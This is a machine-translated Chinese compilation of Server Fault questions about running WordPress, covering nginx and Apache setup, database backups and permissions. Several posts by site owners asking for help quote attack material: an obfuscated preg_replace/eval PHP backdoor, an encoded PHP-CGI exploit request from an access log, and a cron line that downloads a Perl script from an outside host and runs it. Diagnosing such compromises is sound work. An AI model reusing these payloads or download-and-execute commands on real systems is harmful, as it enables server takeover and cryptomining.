我将在一个活动中实时发布博客,并预计流量会激增。我目前正在使用 apache 和 modphp,它去年在交通繁忙的情况下死亡,我不希望它再次发生。
我正在考虑为这个在 wordpress 上运行的博客设置一个单独的 VPS。
我应该使用什么 http 服务器?apache、lighttpd 还是 nginx?
哪个在重负载下表现最好?
通过 AJAX 更新,内容将非常动态。
我有一个 wordpress MU 数据库,其中包含用于各种用户博客的 10,000 多个表。我需要将 wordpress MU 升级到最新版本,但想事先备份数据库。
当我单击导出时,PHPMyAdmin 甚至无法加载页面。我试过进入服务器(windows)并使用 dos 命令行:
mysqldump -u USERNAME -p PASSWORD> BACKUP.sql
Run Code Online (Sandbox Code Playgroud)
但它挂了一分钟并给了我错误:
error 23: out of resources when opinging file '.\USERNAME\wp_1037_links.MYD' (Errorcode: 24) when using LOCK Tables
Run Code Online (Sandbox Code Playgroud)
我做错了什么,或者我应该做什么?PHPMyAdmin 适合这种大小的东西吗?有没有比我尝试的两种方法更好的方法?
**请注意,这不是我的网站,因此有关设置 DB 的任何建议都必须由所有者运行。我只是在这里讨论 WP 相关的废话,这有点超出我被要求做的范围。
在分配工作之前,我的客户需要澄清一下。
是否可以在 AS/400 上运行 Wordpress?
我为拥有多个 Wordpress 博客的客户管理服务器。它们都在 PHP/FastCGI/nginx 上不稳定地平衡,目前一切正常,只是使用了比我通常习惯的多一点的 RAM。
自从设置了这一切后,Wordpress 3 出现了,并且(带有一个用于维护域映射的插件)允许我将所有博客导入到一个中央博客中。所以我知道我可以实现理想的运营结果......我只是不确定我是否想花几个小时来做这件事。
客户端现在想要向服务器添加更多博客。我们显然处于十字路口,如果我要走多站点道路,现在采取行动是有意义的。
我并不真正关心明显的管理优势,而是性能和可用 RAM 的数量。
您认为我假设 RAM 中的一个代码库比拥有六个单个站点的成本低吗?我还缺少其他任何性能优点(或缺点)吗?
我的设置
我在 Debian Lenny 上运行 nginx 0.7.67 作为网络服务器,而不是作为反向代理。我正在使用 php5-fpm 来处理我的 PHP 请求,效果很好。
我的目标
我想要一个 WordPress 安装,按照这里的描述进行布局干净的 wordpress 颠覆安装。我想要一个干净的 WordPress 安装,而不会用所有 WordPress 文件弄乱我的服务器根目录。
这意味着我的 wordpress 安装将/wordpress在/wordpress-content.
然而,重要的一点是,如果您导航到我的域 www.example.com,那么您将被直接带到 WordPress 博客,而无需指定 WordPress 所在的子目录。
我在 nginx 站点上找到了安装 wordpress 的方法,但不幸的是,这是为了移动整个 WordPress 目录,而不是将流量重定向到它。
我尝试使用以下配置:sites-available 中的
example.conf
server {
listen 80;
server_name www.example.com;
access_log /var/log/nginx/www.example.com.access.log main;
root /var/www/example/htdocs;
location / {
try_files $uri $uri/ /wordpress/index.php?q=$uri&$args;
}
include /etc/nginx/includes/php5-wordpress.conf;
include /etc/nginx/includes/deny.conf;
}
Run Code Online (Sandbox Code Playgroud)
php5-wordpress.conf中包含
location /wordpress { …Run Code Online (Sandbox Code Playgroud) 我在客户的 WordPress 驱动的网站中发现了一个有问题的字符串,我只想知道它的作用。
@preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75");
Run Code Online (Sandbox Code Playgroud)
有人可以概述解码这个所需的步骤吗?我知道 preg_replace() 是什么,但我不知道如何解码函数的参数,或者 PHP 如何将它处理成可以使用的东西。
标题说明了一切,但我有一个非常有趣的问题,我很困惑。基本上,我有一个简单的 WordPress 安装,我希望拒绝一个文件夹(以及文件夹中的所有文件),比如说 /wp-content/themes/default/scripts 但允许某些 IP。
我可以否认这个文件夹的位置,^~/wp-content/themes/default/scripts {deny all;}就像任何 Nginx 大师都会告诉你的那样。
但是根据我的理解,“^”具有更高的优先级,一旦找到正则表达式匹配项,它将停止搜索其他位置块。因为我不想为每个人拒绝该文件夹(当然,使用allow (IP Address);,我的^~/wp-content/...位置块会完全抽出我的 PHP-FPM 位置块以将文件传递给 FastCGI 服务器。当然,当我尝试查看任何文件时在文件夹中,PHP 文件直接下载,因为 PHP 不解析它。
有没有人有想法?我想阻止该文件夹,但要让 PHP 同时为我决定允许的用户工作。这是一个相当棘手的问题。我找不到问题的任何答案。
谢谢你们!真的很感谢你的帮助!
对于任何想知道的人,我当前的 Nginx vhost 配置如下所示:
server {
#..all of the common stuff you would expect
include /folder/nginx.conf; #including some WordPress rewrites for W3 Total Cache
# pass the PHP scripts to FastCGI server listening on UNIX socket
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include /etc/nginx/fastcgi_params; …Run Code Online (Sandbox Code Playgroud) 我正在尝试启用 WordPress 将文件上传到 wp-content 文件夹,而无需将该文件夹的权限设置为 777。但是,我遇到了一些困难。
wp-content 文件夹的组和用户设置与 Apache 配置为在 httpd.conf 中使用的组和用户相匹配。但是,当我运行下面的命令时,似乎 Apache 实际上是以 root 身份运行的,而不是在 httpd.conf 中指定的用户。
httpd.conf 配置
用户xxx 组 yyy
命令运行以确定用户 Apache 正在运行
ps辅助| grep httpd
上面命令的输出
513 1294 0.4 1.4 316420 54864 ? S 08:30 0:06 /usr/sbin/httpd
513 是用户 xxx 的正确 UID,因此显示正确。但是,如果不将 wp-content 文件夹的权限设置为 777,我仍然无法在 WordPress 中上传文件。
有人可以告诉我这里有什么问题吗?
我有一个共享服务器(由 bitnami 提供支持的 amazon ec2 micro)和一个 Web 应用程序(Wordpress),它最近表现出低性能(流量和使用相对稳定)。我看到的 apache2/logs/access.log 中唯一可疑的行是形式
$ tail --lines=1000 /opt/bitnami/apache2/logs/access_log
93.120.84.31 - - [06/Nov/2013:03:02:54 +0000] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 504 249
Run Code Online (Sandbox Code Playgroud)
并在ps aux输出中
daemon 29369 0.0 0.2 17688 1500 ? S 10:52 0:00 /bin/bash ./su 57.54
daemon 29377 30.5 0.0 1780 544 ? R 10:52 3:14 ./ps 57.54 22
Run Code Online (Sandbox Code Playgroud)
这些进程是什么,如果这是一个 [已知] 漏洞利用/漏洞,我该如何关闭它?我在谷歌上搜索了这个提及,但无法确定这是否适用于我的情况。
如果这个问题属于其他SE站点,请在适当的地方帮我提问。
提前谢谢了!
更新
遵循@Ladadadada 的提示,结果如下。没错,就是入侵。服务器停止,从每周备份重新启动(所有数据库和其他东西都在单独的驱动器上,我希望没有受到损害)并受到监控。 对正在发生的事情以及如何在未来防止这种情况的所有建议表示赞赏。
对于过程ps:
$ sudo ls -l /proc/30633/fd
total 0
lr-x------ 1 daemon daemon 64 …Run Code Online (Sandbox Code Playgroud) 我有一个运行一些 wordpress 和 tomcat 网站的 CENTOS6 服务器。这两天一直在崩溃。经过调查,我们发现内核更新二进制文件在服务器上消耗了 100% 的 CPU。过程如下。
./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx
Run Code Online (Sandbox Code Playgroud)
但是这个进程内核更新好像无效。可能是服务器被破坏了,这个进程是由黑客安装的,所以我杀死了这个进程并删除了 apache 用户的 cron 条目。
但不知何故,这个过程在几个小时后又开始了,cron 条目也恢复了,我正在寻找修改 cron 作业的东西。
Cron 入口(apache 用户)
/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
Run Code Online (Sandbox Code Playgroud)
abc.txt
#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall …Run Code Online (Sandbox Code Playgroud) wordpress ×10
apache-2.2 ×4
php ×4
nginx ×3
centos ×2
amazon-ec2 ×1
centos6 ×1
deny ×1
hacking ×1
ibm-midrange ×1
lighttpd ×1
linux ×1
mysql ×1
permissions ×1
php-fpm ×1
security ×1
wordpress-mu ×1